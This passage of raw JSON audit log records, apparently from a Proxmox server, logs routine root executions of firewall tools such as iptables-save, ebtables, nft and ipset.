a1=64f8d73deba0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185434,"@rawstring":"node=pve type=PATH msg=audit(1781966185.434:68806): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965453045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965453.045:65665): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964710373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964710.373:62263): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59713 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185427,"@rawstring":"node=pve type=PATH msg=audit(1781966185.427:68805): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965453044,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965453.044:65664): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964710359,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964710.359:62260): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59712 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185427,"@rawstring":"node=pve type=PATH msg=audit(1781966185.427:68805): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965453044,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965453.044:65663): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964705692,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.692:62257): arch=c000003e syscall=59 success=yes exit=0 a0=649a7810cd30 a1=649a78118fd0 a2=649a780e6680 a3=5 items=2 ppid=59705 pid=59711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185419,"@rawstring":"node=pve type=PATH msg=audit(1781966185.419:68804): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965448034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965448.034:65662): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964705689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.689:62256): arch=c000003e syscall=59 success=yes exit=0 a0=649a61d27ac8 a1=7ffce5ac6780 a2=649a780e6680 a3=649a61d0b24e items=2 ppid=59705 pid=59707 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185419,"@rawstring":"node=pve type=PATH msg=audit(1781966185.419:68804): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965448034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965448.034:65661): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964705687,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.687:62255): arch=c000003e syscall=59 success=yes exit=0 a0=7ffce5ac6740 a1=649a781083d0 a2=649a780e6680 a3=5 items=2 ppid=59705 pid=59706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185412,"@rawstring":"node=pve type=PATH msg=audit(1781966185.412:68803): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965448034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965448.034:65660): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964705683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.683:62253): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185412,"@rawstring":"node=pve type=PATH msg=audit(1781966185.412:68803): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965448027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965448.027:65659): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964705677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.677:62252): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59704 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185406,"@rawstring":"node=pve type=PATH msg=audit(1781966185.406:68801): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965448027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965448.027:65658): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964705670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.670:62251): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185406,"@rawstring":"node=pve type=PATH msg=audit(1781966185.406:68801): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965448027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965448.027:65657): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964705663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.663:62250): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185400,"@rawstring":"node=pve type=PATH msg=audit(1781966185.400:68800): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965446029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965446.029:65656): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964705657,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.657:62249): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59701 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185400,"@rawstring":"node=pve type=PATH msg=audit(1781966185.400:68800): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965446023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965446.023:65655): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964705654,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.654:62248): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d6980261740 items=0 ppid=1156 pid=59700 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966185394,"@rawstring":"node=pve type=PATH msg=audit(1781966185.394:68799): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965446021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965446.021:65654): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964705651,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.651:62247): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc136080 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59700 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185394,"@rawstring":"node=pve type=PATH msg=audit(1781966185.394:68799): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965446021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965446.021:65653): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964705646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.646:62246): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e67a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59699 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185389,"@rawstring":"node=pve type=PATH msg=audit(1781966185.389:68798): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965446014,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965446.014:65652): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964705640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.640:62245): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13aa30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185389,"@rawstring":"node=pve type=PATH msg=audit(1781966185.389:68798): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965446007,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965446.007:65651): proctitle=\"ip6tables-save\""} {"@timestamp":1781964705634,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.634:62244): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185383,"@rawstring":"node=pve type=PATH msg=audit(1781966185.383:68797): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445998,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.998:65650): proctitle=\"iptables-save\""} {"@timestamp":1781964705629,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.629:62243): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13aa30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185383,"@rawstring":"node=pve type=PATH msg=audit(1781966185.383:68797): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.989:65649): proctitle=\"ip6tables-save\""} {"@timestamp":1781964705624,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.624:62242): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b3b0e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59695 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185377,"@rawstring":"node=pve type=PATH msg=audit(1781966185.377:68796): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445980,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.980:65648): proctitle=\"iptables-save\""} {"@timestamp":1781964705618,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.618:62241): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59694 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185377,"@rawstring":"node=pve type=PATH msg=audit(1781966185.377:68796): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.975:65647): proctitle=\"ebtables-restore\""} {"@timestamp":1781964705612,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.612:62240): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59693 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185368,"@rawstring":"node=pve type=PATH msg=audit(1781966185.368:68795): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.973:65646): proctitle=\"ebtables-restore\""} {"@timestamp":1781964705608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.608:62239): arch=c000003e syscall=59 success=yes exit=0 a0=5af97d254e90 a1=5af97d251c10 a2=5af97d233680 a3=5 items=2 ppid=59686 pid=59692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185368,"@rawstring":"node=pve type=PATH msg=audit(1781966185.368:68795): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.967:65645): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964705605,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.605:62238): arch=c000003e syscall=59 success=yes exit=0 a0=5af9655ddac8 a1=7fffb6dbe6b0 a2=5af97d233680 a3=5af9655c124e items=2 ppid=59686 pid=59688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185361,"@rawstring":"node=pve type=PATH msg=audit(1781966185.361:68794): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.961:65644): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964705604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.604:62237): arch=c000003e syscall=59 success=yes exit=0 a0=7fffb6dbe670 a1=5af97d23a310 a2=5af97d233680 a3=5 items=2 ppid=59686 pid=59687 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185361,"@rawstring":"node=pve type=PATH msg=audit(1781966185.361:68794): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.955:65643): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964705600,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.600:62235): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59686 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185357,"@rawstring":"node=pve type=PATH msg=audit(1781966185.357:68793): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.948:65642): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964705594,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.594:62234): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185357,"@rawstring":"node=pve type=PATH msg=audit(1781966185.357:68793): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445943,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.943:65641): proctitle=697073657400726573746F7265"} {"@timestamp":1781964705587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.587:62233): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185354,"@rawstring":"node=pve type=PATH msg=audit(1781966185.354:68792): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445933,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.933:65640): proctitle=\"ip6tables-save\""} {"@timestamp":1781964705582,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.582:62232): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4cb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185354,"@rawstring":"node=pve type=PATH msg=audit(1781966185.354:68792): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.925:65639): proctitle=\"iptables-save\""} {"@timestamp":1781964705576,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.576:62231): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101230 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59682 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185353,"@rawstring":"node=pve type=PATH msg=audit(1781966185.353:68791): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445920,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.920:65638): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964705569,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.569:62230): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff3a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59681 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185353,"@rawstring":"node=pve type=PATH msg=audit(1781966185.353:68791): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.910:65637): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964705352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.352:62229): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185353,"@rawstring":"node=pve type=PATH msg=audit(1781966185.353:68790): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445909,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.909:65636): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964705344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.344:62226): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 